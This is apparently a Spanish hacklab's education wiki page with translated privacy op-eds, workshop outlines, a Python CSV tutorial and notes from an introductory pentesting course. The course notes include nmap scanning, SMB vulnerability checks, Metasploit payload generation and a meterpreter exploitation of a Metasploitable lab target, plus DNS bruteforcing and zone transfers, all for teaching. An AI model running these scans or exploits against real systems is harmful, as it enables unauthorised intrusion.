Educación

Cursos, charlas y actividades de formación que se dieron en el Hacklab

Educación - Proyectos

Educación - Proyectos

Traducciones

2018/04/04 --- Una propuesta radical para mantener sus datos personales a salvo

2018/04/11 --- El Congreso de los Estados Unidos la está pifiando con respecto al caso Facebook

Educación - Proyectos

Una propuesta radical para mantener sus datos personales a salvo

por Richard Stallman, 03/04/2018

La vigilancia que se nos impone hoy es peor que en la Unión Soviética. En primer lugar necesitamos leyes para detener que estos datos se recopilen.

Los periodistas me han estado preguntando si la reacción contra el abuso de datos de Facebook podría ser un punto de inflexión para la campaña por recuperar la privacidad. Eso podria pasar, si el público hace su campaña más amplia y profunda.

Mas amplia, significa extenderla a todos los sistemas de vigilancia, no sólo a Facebook. Más profunda, significa pasar de regular el uso de datos, a regular la acumulación de datos. Debido a que la viligancia es tan penetrante, restablecer la privacidad es necesariamente un gran cambio y requiere medidas poderosas.

La vigilancia que se nos impone hoy excede por mucho a la de la Unión Sovietica. Por el bien de la libertad y la democracia, necesitamos erradicarla. Hay tantas maneras de usar datos para perjudicar al pueblo que la única base de datos segura es la que nunca se recopiló. Por lo tanto, en lugar del enfoque de la UE de regular principalmente cómo se pueden usar los datos personales (en su Reglamento General de Protección de Datos o GDPR), propongo una ley para evitar que los sistemas recopilen datos personales.

La manera robusta de hacer esto, la forma en que no puede dejarse de lado por el capricho de un gobierno, es exigir que se construyan sistemas que no recopilen datos sobre las personas. El principio básico es que un sistema debe estar diseñado para no recopilar ciertos datos, si su función básica puede llevarse a cabo sin ellos.

Los datos acerca de quién viaja y a dónde son particularmente sensibles, porque es una base ideal para reprimir cualquier objetivo elegido. Podemos tomar los trenes y colectivos de Londres como un caso de estudio.

El sistema de pago digital del transporte en Londres registra centralmente los viajes que cualquier tarjeta de pase "Oyster" o bancaria ha pagado. Cuando un pasajero alimenta la tarjeta digitalmente, el sistema asocia la tarjeta con la identidad del pasajero. Esto se suma a la vigilancia completa.

Espero que el sistema de transporte pueda justificar esta práctica bajo las reglas GDPR. Mi propuesta, por el contrario, requeriría que el sistema deje de rastrear quién va y a dónde. La función básica de la tarjeta es pagar por el transporte. Eso puede hacerse sin centralizar esos datos, por lo que el sistema de transporte debería dejar de hacerlo.

Cuando acepta pagos digitales, debe hacerlo a través de un sistema de pago anónimo.

Algunas características chulas en el sistema, como la característica de dejar que un pasajero revise la lista de viajes anteriores, no son parte de la función básica, por lo que no pueden justificar la incorporación de vigilancia adicional.

Estos servicios adicionales podrían ofrecerse por separado a los usuarios que los soliciten. Aún mejor, los usuarios podrían usar sus propios sistemas personales para rastrear sus propios viajes en privado.

Los taxis negros demuestran que un sistema para alquilar autos con conductores no necesita identificar a los pasajeros. Por lo tanto, no se debe permitir que dichos sistemas identifiquen pasajeros; se les debe exigir que acepten moneda que respete la privacidad de los pasajeros sin jamás tratar de identificarlos.

Sin embargo, convenientes sistemas de pago digital también pueden proteger el anonimato y la privacidad de los pasajeros. Ya hemos desarrollado uno: GNU Taler. Está diseñado para ser anónimo para el pagador, pero los beneficiarios siempre se identifican. Lo diseñamos de esa manera para no facilitar la evasión fiscal. Se debe exigir a todos los sistemas de pago digital que defiendan el anonimato utilizando este o un método similar.

¿Qué hay de la seguridad? Dichos sistemas en áreas donde el público es admitido deben estar diseñados para que no puedan rastrear personas. Las cámaras de video deben hacer una grabación local que se pueda verificar durante las semanas siguientes si ocurre un delito, pero no deben permitir la visualización remota sin la recolección física de la grabación. Los sistemas biométricos deben diseñarse de modo que solo reconozcan a las personas en una lista de sospechosos ordenada por la corte, para que respeten la privacidad del resto de nosotros.

Un estado injusto es más peligroso que el terrorismo, y demasiada seguridad alienta un estado injusto.

Las regulaciones GDPR de la UE son bienintencionadas, pero no van muy lejos. No ofrecerán mucha privacidad, porque sus reglas son demasiado laxas. Permiten recopilar cualquier información si de alguna manera es útil para el sistema, y ​​es fácil encontrar una manera de hacer que cualquier información particular sea útil para algo.

El GDPR hace que muchos usuarios requieran (en algunos casos) dar su consentimiento para la recopilación de sus datos, pero eso no hace mucho bien. Los diseñadores de sistemas se han vuelto expertos en el consentimiento de fabricación (para reutilizar la frase de Noam Chomsky). La mayoría de los usuarios aceptan los términos de un sitio sin leerlos; una compañía que requería que las usuarias paguen con su primer hijo obtuvo el consentimiento de muchas usuarias. Por otra parte, cuando un sistema es crucial para la vida moderna, como los autobuses y los trenes, las usuarias ignoran los términos porque el rechazo del consentimiento es muy doloroso de ser considerado.

Para restaurar la privacidad, debemos detener la vigilancia incluso antes de solicitar el consentimiento.

Finalmente, no olvidemos el software en nuestra propia computadora. Si se trata del software privativo de Apple, Google o Microsoft, nos espía regularmente. Eso es porque está controlado por una compañía que no duda en espiarnos. Las empresas tienden a perder sus escrúpulos cuando eso es redituable. Por el contrario, el software libre es controlado por sus usuarias. Esa comunidad de usuarias mantiene el software honesto.

Postdata: Para una implementación de la "propuesta de ley radical" de Richard, considérese ésta.

Educación - Proyectos

El Congreso de los Estados Unidos la está pifiando con respecto al caso Facebook

Dejamos enlace al original aqui por las dudas y nos ponemos manos a la obra en el pad!!! :)

                                                                     By NahuBJJ   XD

Estados unidos Necesita un acta sobre derecho de datos personales.

Cada vez me siento más desconcertado y decepcionado por el escándalo y el festival de furia que rodea Facebook. En lugar de amontonarse apuntando a Mark Zuckerberg o preocuparse por quién tiene nuestros datos personales, los legisladores deberían centrarse en el problema real: cómo se utilizan nuestros datos.

Comencemos con algunas verdades que parecen perderse:

· Cambridge Analytica, la empresa que succionó un montón de datos sobre los usuarios de Facebook, no es en realidad una gran amenaza. Es decir, si!, es bastante sórdido, pero en su mayor parte apestaba a manipular a los votantes.

· Muchas otras compañías, tal vez cientos! - e "individuos malintencionados" también recopilan nuestros datos. Es mucho más probable que estos vendan nuestra información personal para fines fraudulentos.

· No deberíamos esperar que Zuckerberg cumpla con ninguna promesa. Ha tratado de jugar limpio de poco a nada, tiene muchos conflictos y es un autómata ingenuo.

· Incluso si Zuckerberg fuera un santo y no le importara ni un ápice las ganancias, las posibilidades de que las redes sociales sigan siendo malas para la democracia son altísimas.

Los políticos no quieren admitir que no comprenden la tecnología lo suficientemente bien como para idear regulaciones razonables. Ahora que la democracia en sí misma podría estar en juego, necesitan a alguien a quien culpar. -Inserte Zuckerberg aquí-, el punching ball perfecto. El problema es que probablemente no hizo nada ilegal, Facebook ha sido relativamente abierto y obvio acerca de sus repugnantes prácticas empresariales. En su mayor parte, a nadie realmente le importaba hasta ahora. ( y si eso suena cínico, agregaré: a los demócratas no les importaba hasta que las campañas republicanas los alcanzaban o incluso los superaban con técnicas de big data).

Lo que Estados Unidos realmente necesita es un diálogo más inteligente sobre el uso de los datos. Reconociendo primero que: nuestros datos ya están disponibles en a nube. Incluso si no hemos compartido nuestra propia información personal, alguien lo ha hecho por nosotros. Estamos todos expuestos. Las empresas tienen los datos y las técnicas que necesitan para predecir todo tipo de cosas sobre nosotros: nuestras preferencias políticas, nuestro comportamiento como consumidor, nuestra salud, nuestro futuro financiero. Eso es mucho poder ejercido por personas en quienes no tenemos porque confiar.

Si los políticos quieren crear reglas, deberían comenzar abordando estrictamente los peores usos posibles para nuestra información personal: las formas en que pueden negarse a las oportunidades laborales, limitar el acceso al seguro de salud, establecer las tasas de interés de los préstamos y decidir quién sale de la cárcel Esencialmente, cualquier decisión burocrática ahora se puede hacer por algoritmo, y sobre esos algoritmos necesitamos preguntarnos mucho más de lo que Zuckerberg hace.

Con ese fin, propongo una Declaración de Derechos de Datos. Debería tener dos componentes: el primero especificaría cuánto control podemos ejercer sobre cómo se utiliza nuestra información individual para decisiones importantes, y el segundo introduciría reglas aplicadas a nivel federal sobre cómo los algoritmos deberían ser monitoreados de manera más general.

Los derechos individuales podrían basarse en la Ley de Informes de Crédito Justos, que nos permite acceder a los datos empleados para generar nuestros puntajes de crédito. La mayoría de los algoritmos de puntuación funcionan de manera similar, por lo que este sería un modelo razonable. En cuanto a los datos agregados, deberíamos tener el derecho de saber qué algoritmos de información están utilizando para tomar decisiones sobre nosotros. Deberíamos poder corregir el registro si está mal y apelar los puntajes si creemos que son injustos. Deberíamos tener derecho a saber cómo funcionan los algoritmos: ¿Cómo, por ejemplo, cambiará mi puntaje si pierdo una factura de electricidad? Esto es un poco más de lo que FCRA* ahora ofrece. (*Acta Estadounidense de justo reporte crediticio, efectiva desde 1970)

Además, el Congreso debería crear un nuevo regulador, en la línea de la Administración de Alimentos y Medicamentos, para garantizar que cada algoritmo importante a gran escala pueda superar tres pruebas básicas:

· Es al menos tan bueno como el proceso humano que reemplaza (esto obligará a las empresas a admitir cómo definen el "éxito" para un algoritmo, que con demasiada frecuencia simplemente se traduce en ganancias)

· No falla desproporcionadamente cuando se trata de clases protegidas (minorías en EEUU) (como se sabe qué hace el software de reconocimiento facial);

· No causar externalidades negativas desproporcionadas, como la destrucción de la confianza de las personas en los hechos o en el sentido común. Las compañías que manejan algoritmos que podrían tener tales efectos negativos a largo plazo deberían ser monitoreadas por terceros que no estén obligados con los accionistas.

No soy un experto en política, y reconozco que no es fácil comprender la magnitud y complejidad del desastre en el que nos encontramos. Sin embargo, algunas reglas simples podrían ayudar a limitar el daño.

NOTA: El autor de la nota tiene una consultora que ofrece servicios tales como estos algoritmos de auditoria.

                               Para contactar a la autora:  coneil19@bloomberg.net  (Se llama Cathy O'Neil)
Educación - Proyectos

Cyberseguridad para periodistas

Escuelita Hacker

Curso sobre pentesting y seguridad informática (Terminado)

Escuelita Hacker

Escuelita Hacker

(Este taller se encuentra actualmente en suspensión. Es probable que en un futuro se vuelva a dar. Mantenerse al tanto!)

Todos los sábados de 15:00 a 17:00 aprenderemos sobre hacking y seguridad informática desde 0. Se le da prioridad a las chicas y a la comunidad lgtbiq+.

Si querés aportar agregando o modificando contenido, hacelo acá.

Requisitos:

Van a variar dependiendo de los temas que se den, pero por ahora:

RESUMENES

Primer encuentro

Segundo encuentro

Tercer y cuarto encuentro

Quinto encuentro

Sexto encuentro

TEMAS

Esta es una lista tentativa de temas

0 Conocimientos Básico

1 Recon:

Pasiva:

Activa:

2 Exploit

3 Post Explotación

4 Ataques Web

5 Técnicas para anonimizar ataques

6 Recursos

Escuelita Hacker

Primer encuentro

TEMAS

Practicas

Cosas para hacer en la semana

Recursos/bibliografia

[1] linux y redes: https://linuxjourney.com/

[2] ejemplos nmap: https://highon.coffee/blog/nmap-cheat-sheet/

Escuelita Hacker

Segundo encuentro

Internet protocol Suit( modelo tcp/ip)

Es un modelo que incluye protocolos y capas que nos permite comunicar datos sobre internet.

Capas Protocol data unit PDU Funcion
Aplicacion Mensaje compresion, cifrado, encoding, sesiones, apis
Transporte Segemento) transmision de data entre puntos de una red
internet datagrama
Link frames
Physical bit

Como identificar dispositivos

MAC address (capa link):es un valor que identifica fisicamente a una placa de red. Direccion IP: (capa internet)*es un valor que permite identificar a un dispositivo en una red. Hostname: (capa aplicacion) Es una palabra o valor que se traduce a una ip

Encapsulacion y headers en las capas

Cada capa le agrega un header al mensaje.

Capa Formato
Aplicacion Mensaje
Transporte Ht + Mensaje
Network Hn +Ht +Mensaje
Link Hl+Hn+Ht+Mensaje
Fisica ex:101001001001

Capa Aplicacion

Sirve para definir como formatear la data/mensaje.

Protocolos comunes de esta capa:

Capa Transporte

Define como se va a transmitir la data.

Protocolos comunes

Sockets

Los sockets estan en esta capa

TCP Three way handshake

iniciar

 -> syn  Se le manda con un squence number x
<-  syn+ack Se responde con un  sequence number propio(y) y un  ack nmber que es x+1
 -> ack  se res[ponde con un ack number que sea y +1

Terminar una conexion

-> fin
<- ack
<- fin
-> ack

Header TCP

tcpheader.jpg

Header UDP

udp-datagram.jpg

Capa Internet

Indica como mover los paquetes

Protocolos comunes

Formato header ip

ip_header.gif

CIDR

Se encarga de organizar y distribuir la data usando la capa fisica

Protocolos Comunes

ARP NDP MAC

Capa fisica

Se encarga enviar la data por medios fisicos

#NMAP

Estados

Los puertos nos pueden devolver distintos estados, los primeros 4 son los mas comunes/importantes

Tecnicas

Podemos mapear puertos usando distintas tecnicas

-sS (SYN scan) half open , es el default nunca termina la conexion tcp, mandas un SYN 
-sT (TCP connect scan) lo podemos usar cuando un usuario no tiene permisos para trabajar con raw packets. nmap  le manda al sistema operativo  el connect syscall  sy -sS esta disponible es mejor opcion
-sU (UDP scan)  se puede convinar con sS para chequear ambos protocolos. UDP scan le manda packetes a cada puerto, Si no se recibe respuesta se marca como open|filtered.
-sY (SCTP)  es relativamente nuevo, ni idea la verdad

-sN (TCP NULL) tcp flag es 0
- sF (FIN)  solo manda TCP FIN bit
-sX (Xmas) Setea FIN, PSH y URG flags 

NULL FIN y Xmas funcionan igual, si reciven un RST packet, se considera closed , si no hay respuesta es open|filtered, es filtered si se recive ICMP unreacable error

Opciones comunes/copadas

-Pn  no hace el host discovery (no usa icmp)
-iL  para pasarle una lista de ips en un archivo ex:hosts.txt
-sn disable port scan, solo hace ping scan.
-p : especificar puerto ej  -p80,443   o -p1-65535
-F: fast mode (scanea menos puertos)
--top-ports <numero>  escanea los <numero> puertos mas comunes
--script=" script"
-O  OS detection

-T paranoid|sneaky|polite|normal|aggressive|insane (Set a timing template)
   el default es -T3 que es normal, son templates para las distintas variables de tiempo, los primeros dos sirven para evadir IDS's

Outputs

-oN output normal
-oX output XML ( lo podemos importar a metasploit despues)
-oG  grepeable
-oA  tenes el output de los tres en el mismo
-v incrementa verbosidad -vv todavia mas
-6 enable ipv6

Ejemplos

Network sweeping

 root@kali:~# nmap -v -sn 10.10.1.1-254 -oG ping-sweep.txt
 root@kali:~# grep Up ping-sweep.txt | cut -d " " -f 2

Un scan global

:~# nmap -iL ping-sweep.txt -p- –min-hostgroup 100 -sS -n -T4 -oG full.txt

OS fingerprinting

:~# nmap -O 10.0.0.15

Banner Grabbing

:~# nmap -sV 10.0.0.15

ENUMERANDO NETBIOS

:~# nmap -sV -v -p 139,445 10.0.1.0/24
:~# nmap -sU --script nbstat.nse -p 137 10.0.1.12
:~# nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 10.0.0.1 // para ver si es vulnerable a ms08-067

ANEXO

UNICORNSCAN

Buscar informacion y compararlo con nmap

OSI

7 aplication
6 presentacion
5 sesion
5 transporte
4 network
3 internet
2 data link
1 physical
Escuelita Hacker

Tercer y cuarto encuentro

KakThePlanet KakSkull clase 4

Kaking challenge writeup

kakme0

La idea de esta práctica era poner en marca los conocimientos adquiridos en las últimas clases, agregando algunos temas nuevos a modo meramente introductorio, a la vez que simulando temáticas de los entornos reales. Las prácticas se han llevado en una red local en donde, además del servidor objetivo, existían honeypots para afianzar la perspicacia de los kakers.

Objetivos:

Finalidad:

Resolución:

¡Esto es todo!

Escuelita Hacker

Quinto encuentro

METASPLOIT FRAMEWORK(intro muy basica)

Metasploit es un framework desarrollado en ruby para codear y ejecutar exploits. Para interactuar con este framework es necesario usar msfconsole.

Fuente de lo siguiente: https://www.offensive-security.com/metasploit-unleashed/

MSF Modulos

Exploits

sSon modulos que usan payloads, en msf a un exploit sin payload se le dice auxiliary

Payloads, encoders, nops

  1. Payloads: codigo que corre en la maquina target
  2. Encoders: le da formato al payload
  3. Nops : No operations

Modulos primarios

/usr/share/metasploit-framework/modules

Modulos del usuario

~/.msf/modules

Todos los modulos son clases de ruby

MSF console

Comandos

PAYLOADS

Hay 3 tipos basicos

Singles -> self contained y standalone
Stagers -> Generan una conexion y van cargando stages mas pesadas
Stages -> componentes que descarga el stager

Otros payloads

INline, staged, meterpreter,passiveX,NoNX

Generando payloads

msf> use <exp>
msf(exp)> generate -b '\x00\x0A' -i 3 -t java 

Usando encoders msf(exp)> generate -e x86/shikata_ga_nai

BASE DE DATOS

msf> hosts
msf> servicios -p21
msf> help database
msf> db_status
msf> workspaces

Usando nmap en msf

Importar nmap scan msf> db_import /root/scanNmap

Usando nmap adentro de msf msf> db_nmap -A target

Exportar db_export -f xml /root/out.xml

Servicios

Podemos buscar por servicios msf> services -c name, info -s http

METERPRETER

Como funciona?

  1. ejecuta el stager inicial (bind,reverso,passivex,etc)
  2. se carga el dll
  3. se genera la conexion entre el target y el atacante
  4. meterpreter carga sus extensiones

Comandos basicos

Ejemplo rompiendo rmi en metasploitable 2

$ systemctl start postgresql
$ msfdb init
$ msfconsole
msf> db_nmap target
msf> grep java search rmi
msf> use java_rmi_server
msf> show options
msf> set RHOST LHOST SRVHOST ,ETC
msf> exploit
meterpreter> getuid
Escuelita Hacker

Sexto encuentro

DNS

Conceptos basicos

DNS: es un sistema que permite transformar direcciones unicas en nombres Domain name: es el nombre asignado a una direccion

TOP LEVEL DOMAIN TLD: es lo que esta mas a la derecha, en una direccion, son la parte mas alta de la estructura jerarquica. por eso para tener un .com.ar tenes que pedirle permiso a nic.ar Subdomain: como dns trabaja con jerarquias, TLD puede tener muchos hijos, el subdomain existe para extender el dominio del padre.

FQDN fully qualified domain name: es el domain name absoluto, ex: 'ctf.rlab.be'

**Name Server:**es el server que se encarga de traducir dominios e ips. Cada uno puede redirigir a otro name server o delegado para que sea responsable del subset de subdominios

Zone file: es un archivo que tiene el mapeo entre ips y dominios.

Records: son un solo mapeo entre un recurso y un nombre

Estructura

Root servers -> TLD servers -> Domain level name server

  1. alguien le pregunta a root server la ip de rlab.be, root no sabe pero le da la direccion del responsable de .be
  2. el requester con la ip que el root server le dio pasa al tld , en su zone transfer tld no tiene la ip de rlab.be pero tiene la ip del server encargado de rlab.be
  3. requester manda el request al DL ns y este deberia tener un "www"record con la ip de rlab.be

ZONE FILES

Son estos archivos con todos los records y los mapeos

RECORDS

SOA start of authority

domain.com.  IN SOA ns1.domain.com. admin.domain.com. (
                                            12083   ; serial number
                                            3h      ; refresh interval
                                            30m     ; retry interval
                                            3w      ; expiry period
                                            1h      ; negative TTL
)

domain.com es el root del zone, indica que el zone file es para ee dominio. a veces se remplaza con @, que es un placeholder para $ORIGIN

IN SOA: es un indicador para iniciar el authority record

ns1.domain.com: define el name server primario.

admin.domain.com: es el mail del administrador de la zona, el @ se remplaza por un . .

12083: es el numero serial del zone file.

3h: refresh interval para la zona, es el tiempo que un esclavo espera para traerse el one file

30m: si el slave no se conecta al master, va a esperar esta cantidad antes de volver a tratar

3w: si el slave no se conecto con el master durante este periodo deja de devolver respuestas

1h: el tiempo que va a cachear un error

A y AAAA

A: mapea un host a una ipv4

AAAA: mapea un host a una ipv6

ex:

 ns1   IN  A      10.10.10.10 # es lo mismo que poner ns1.domain.com.
 host  IN  AAAA   2001:db8:85a3:0:0:8a2e:370:7334
 www   IN  A      10.10.10.1

tTenemos que tambien, aparte del host setear el base domain (domain.com), lo podemos hacer con @ @ IN A 222.222.222.22

Y podemos resolver todo lo que no sabemos al mismo server con un wild card

* IN A 222.222.222.222

CNAME

Define un aleas para el nombre canonico definido por A y AAAA

ex:

Si definimos: Server1 IN A 111.111.111.111

Podemos definir un alias que sea: www IN CNAME Server1

MX

Se usa para configurar mails, no mapean el host a nada, por que aplican para toda la zona.

     IN   MX  10   mail.domain.com.
     IN   MX  50   mail2.domain.com
mail IN   A        111.111.111.111
mail IN   A        222.222.222.222

Los numeros sirver para definir la prioridad

NS

Identifican los name servers que se van a usar para la zona. ex:

   IN NS ns1.domain.com
   IN NS ns2.domain.com

PTR

Son la inversa de los registros A y AAAA, aparte empiezan con .arpa y se delegan al dueño de la ip. por ejemplo para la ip 111.222.333.444: 444.333.222.111.in-addr.arpa. 33692 IN PTR host.example.com.

Se puede usar dig -x para buscar el nombre de una IP y +short para mostrar solo eso

n00b@escuelita:~$ dig -x 8.8.8.8 +short
google-public-dns-a.google.com.

CAA

Son para certificate authorities

source: https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts

TOOLS

Whois

Es una tool y una base de datos, contiene nombres, registradores y en algunos casos todos los contactos

root@kali:~# whois target.com

Host

host -t ns zonetransfer.me
host -t mx zonetransfer.me

-t para definir el query

Bruteforceando

lista.txt={www,ftp,mail,proxy,owa....}
for ip in $(cat lista.txt); do host $ip.zonetransfer.me;done

nslookup

Name server lookup, se usa para buscar info sobre dominios

nslookup
    nslookup <domain>

    or

    nslookup
    >set type=mx  (mail)
    uocra.org


    >set type=ns (dns)
    [domain]

cosas: https://blog.thesysadmins.co.uk/nslookup-common-usage-examples.html

Dig

Es similar a nslookup
> dig zonetransfer.me
o menos verborragico > dig zonetransfer.me +nocomments +noauthority +noadditional +nostats +notanswer

querry mx records
>dig zonetransfer.me -t MX +noall +answer

Fierce

Escanea DNS root@kali: fierce -dns example.com -threads 10 -file /root/Desktop/example-fierce.txt

Si queremos hacer un zone transfer: $ fierce --domain zonetransfer.me --wide nota: wide busca en ips adjyacentes (/24)

DNSenum

ex:
dnsenum rlab.be

  1. get: A records, Mx records, namservers, performs axfr queries (te trae todo),
  2. consigue extra names y subdominios usando google
  3. bruteforcea subdominioes y busca redes adyacentes
  4. reverse lookup

https://github.com/fwaeytens/dnsenum

Dnsrecon

ex:
dnsrecon -d rlab.be -t axfr
Aparte de lo que hace dnsenum tiene , ptr record lookup y mdns records

Talleres

Jornadas de trabajo para reunirse y probar tecnologías juntos

Talleres

Taller de programación web

Taller de Desarrollo Web

Cualquiera que quiera aprender desarrollo web y quiera hacerlo en un espacio donde las minorías tendrán preferencia y donde no habrá espacio para fachos, machistas, racistas, misóginos, trolls ni boicoteadores.

La idea surgió de la poca disponibilidad de cursos online de programación en español y de que los proyectos más piolas en Buenos Aires son pagos (y no baratos).

No hace falta conocimientos previos, vamos a empezar desde lo más básico y cualquier pregunta será bienvenida.

Vamos a trabajar con los 3 lenguajes de programación / especificación que componen la plataforma web: HTML, CSS y Javascript

Código de conducta

¡Importante!

Coordenadas espacio temporales (cuándo, dónde)

Recursos / materiales

Temario :

Contacto

Talleres

Taller de software libre

En el taller de introducción de software libre, se procedera a estudiar la filosofia y ética del mismo, capacitandose en el uso del sistema operativo GNU/Linux. El encuentro consta de 3 clases de 3 horas cada uno. Está destinado a adolescentes, adultos, profesionales, estudiantes, docentes y entusiastas. Se necesita tener un manejo básico de computación y disponer de computadora portatil que soporte el uso de maquinas virtuales.

Se veran los siguientes temas:

Talleres

Taller de Docker

EL taller de introducción a docker esta orientado para profesionales del rubro de tecnología, entusiastas y estudiantes.

Requisitos:

Temario:

Talleres

Taller de FreeCAD

  1. Introducción a FreeCAD.
    1. Dime quién sos, de dónde venís y a dónde vas. El foro y la wiki de FreeCAD.
    2. Introducción al modelado paramétrico 3D.
    3. Libertad cero: Instalación y uso de FreeCAD con cualquier propósito.
    4. Comprendiendo el entorno de FreeCAD
      1. Los bancos de trabajos (Workbench).
    5. Configuración de FreeCAD.
  2. Objetos primitivos. Banco de trabajo Part.
    1. Reconociendo el espacio 3D.
    2. Banco de trabajo Part.
    3. Cubo Hola Mundo.
    4. Comprendiendo las propiedades de los objetos.
  3. Dibujando objetos. Banco de trabajo Part Desing
    1. Reconocer el flujo de trabajo del banco de trabajo
    2. Crear bocetos paramétricos.
    3. Realizar operaciones sobre los objetos
  4. El banco de trabajo Draft.
    1. Reconocimiento de sus herramientas.
    2. Mover objetos, clonarlos, etc.
  5. Creación de planos en 2D. El banco de trabajo TechDraw.
    1. Creación del plano e importación de objetos
    2. Creación de cotas
  6. Dime que hacer y lo haré por ti: La macros en FreeCAD
    1. FreeCAD y la consola python
    2. Instalación y edición de Macros.
    3. Uso de macros útiles: FCInfo y FCTreeView
  7. ¡¡Animado estoy!! Animación de objetos en FreeCAD.
    1. Animaciones mediante código python
    2. Animaciones con el banco de trabajo Sandbox:Animation
  8. De 9 meses estoy ¡¡Quiero nacer!! Impresión 3D con FreeCAD.
    1. Preparación de los para impresión 3D.
    2. El programa CURA y las impresoras 3D.
  9. Títere soy… Sincronización de FreeCAD con programas externos y bases de datos.
    1. Manipulación remota de FreeCAD. Manipulación de modelos por sockets (python)
    2. Creación automática de modelos paramétricos mediante Script python
  10. Hojas de cálculo en FreeCAD. El banco de trabajo Spreadsheet
    1. Obtener datos de los objetos del modelo.
    2. Exportación a hojas de cálculo.
  11. Viajando al espacio…FreeCAD y la web
    1. Exportar modelos de FreeCAD para webGL.

Autoformacíon

Espacio abierto para que podamos hablar sobre temas de interes y compartir conocimientos. En estos momentos se esta dando los martes de 19:00 a 21:00. Para dar una charla solo contactarse con concacto@rlab.be o arrobar a algún admin en el canal.

Autoformacíon

Agenda

FEBRERO

MARZO

ABRIL

MAYO

JUNIO

JULIO

Escuelita Python

Taller teórico/práctico dictado todos los miércoles sobre introducción a Python.

Escuelita Python

Escuelita de iniciación a Python

python.jpeg

Presentación del curso aquí.

Escuelita Python

Leyendo archivos .csv

Documentación oficial: https://docs.python.org/3/library/csv.html

Los archivos con extensión csv son las típicas hojas de cálculo que manipulan programas como LibreOffice Calc o Microsoft Excel.

Estos archivos contienen datos separados por comas (csv viene del inglés comma separated values, que significa justamente eso) y por saltos de líneas (los enters al final de cada línea).

En Python se usa el módulo csv para leer y escribir estos archivos.

Como cualquier otro módulo de Python debemos importarlo antes de usarlo; en este caso usando la instrucción import csv (se recomienda siempre poner todas las importaciones de un programa al comienzo del mismo).

Dentro del módulo csv las funciones usadas para leer y escribir archivos csv son csv.reader y csv.writer respectivamente.

Estas funciones tienen un solo parámetro obligatorio que es un archivo, previamente abierto usando la función open. Por cuestiones de compatibilidad debemos abrir el archivo pasando el parámetro newline='' (principalmente para leer archivos provenientes de Windows).

Preparándonos para leer:

import csv
archivo_csv = open("datos.csv", newline='')
reader = csv.reader(archivo_csv)

A partir de acá tenemos el archivo datos.csv, que tiene que residir en la misma carpeta que el script, listo para ser leído usando un for.

En cada iteración del for una línea entera va a ser cargada como una lista, con la cantidad de elementos igual a la cantidad de campos de esa misma línea.

print("Contando campos por línea:")
for linea in reader:
	print(f"Línea con {len(linea)} campos.")

Recordemos que la función len aplicada a listas nos devuelve la cantidad de elementos que posee.

Para acceder al valor de los campos se usa el acceso por índice, igual que con cualquier otra lista. Solo si estamos 100% seguros de que cada línea del archivo contiene N campos podemos acceder directamente a ellos sin hacer ninguna verificación previa de si existen o no. En este caso estamos en presencia de una tabla, y entonces las líneas las llamamos filas y los campos columnas:

Para un archivo donde el tercer campo es siempre una fecha:

print("Mostrando columna fecha:")
for fila in reader:
	print(fila[2])

Notar que como los índices de las listas comienzan en 0, el tercer campo se traduce al índice número 2.

Una salvedad que hay que tener al leer archivos csv es que los valores son siempre leídos como strings. Por ende, para hacer operaciones matemáticas con los valores de una columna numérica debemos previamente convertirlas al tipo numérico de Python. Para enteros se usa la función int y para decimales float.

Supongamos un archivo donde está cargado en la primer columna la cantidad de casas (entero) y en la segunda el total de sus superficies (decimal) por barrio de una localidad:

total_casas = 0
total_superficies = 0
for fila in reader:
	total_casas += int(fila[0])
	total_superficies += float(fila[1])
print(f"La localidad tiene {total_casas} casas, sumando una superficie de {total_superficies} m2")

Hacer esto es bastante inseguro (propenso a errores). Ya que si llega a venir una columna vacía o mal cargada el programa se rompería. Por eso, siempre es conveniente hacer todas las verificaciones posibles.

Reformulando el for anterior:

for fila in reader:
	casas = fila[0]
	if casas.isnumeric():
		total_casas += int(casas)
	else:
		print(f"Cuidado, una fila tiene cantidad de casas inválida: {casas}")
        
	superficies = fila[1]
	try:
		superficies_f = float(superficies)
	except ValueError:
		print(f"Cuidado, una fila tiene el campo superficies inválido: {superficies}")
	else:
		total_superficies += superficies_f

(El código del try continúa por el else solo cuando no hubieron errores, sino salta al except.)

Esto parecería funcionar a priori. Pero para nosotres argentines se nos complica: solemos usar como separador decimal la coma, y no el punto, como Python espera. Entonces, si nuestro archivo tiene números con la coma como separador decimal debemos remplazarlo por punto antes de pasárselo a la función float.

En ese caso, habría que corregir la línea superficies = fila[1] por superficies = fila[1].replace(',', '.').

El script final queda:

import csv

archivo_csv = open("datos.csv", newline='')

reader = csv.reader(archivo_csv)

for fila in reader:
	casas = fila[0]
	if casas.isnumeric():
		total_casas += int(casas)
	else:
		print(f"Cuidado, una fila tiene cantidad de casas inválida: {casas}")
        
	superficies = fila[1].replace(',', '.')
	try:
		superficies_f = float(superficies)
	except ValueError:
		print(f"Cuidado, una fila tiene el campo superficies inválido: {superficies}")
	else:
		total_superficies += superficies_f
        
print(f"La localidad tiene {total_casas} casas, sumando una superficie de {total_superficies} m2")

Existe otra forma de leer archivos csv que es usando csv.DictReader.

Esta función al igual que csv.reader tiene un único parámetro obligatorio que es el archivo. El objeto que devuelve lo recorremos también con un for.

La diferencia está en que por defecto esta función interpreta la primer línea como los encabezados de las columnas (headers en inglés). Así, el for comienza realmente en la segunda línea del archivo, que es donde empiezan los datos, y vamos a poder acceder a las columnas usando los nombres de los encabezados. Es decir las líneas ya no son leídas como listas, sino como diccionarios (que son básicamente como las listas pero con índices no estrictamente númericos).

Veámoslo.

Imaginemos un archivo donde la primer fila contiene nombre,edad y el resto de las filas sus datos correspondientes. Haríamos entonces:

import csv
archivo_csv = open("datos.csv", newline='')
reader = csv.DictReader(archivo_csv)
for fila in reader:
	print(f"La persona {fila['nombre']} tiene {fila['edad']} año(s)")

¡Mucho más cómodo!

Les dejo otro tuto, con más detalles, en inglés: https://realpython.com/python-csv/#reading-csv-files-into-a-dictionary-with-csv

^D

Escuelita Python

Instalando Python

La instalación de Python dependerá de qué sistema operativo uses.

Antes de instalarlo primero chequeá que no lo tengás ya instalado:

Verificar si ya lo tenés

Linux o Mac

Si tenés Linux o Mac tal vez ya tengas Python instalado. Abrí una terminal y fijate si el comando python -V funciona. Si funciona verificá que te haya devuelto la versión 3.6.x o mayor. Si es menor, probá con el comando python3 -V. Si lograste encontrar un Python de la versión requerida podés saltar directo al final, si no seguí a la sección de instalar.

Windows

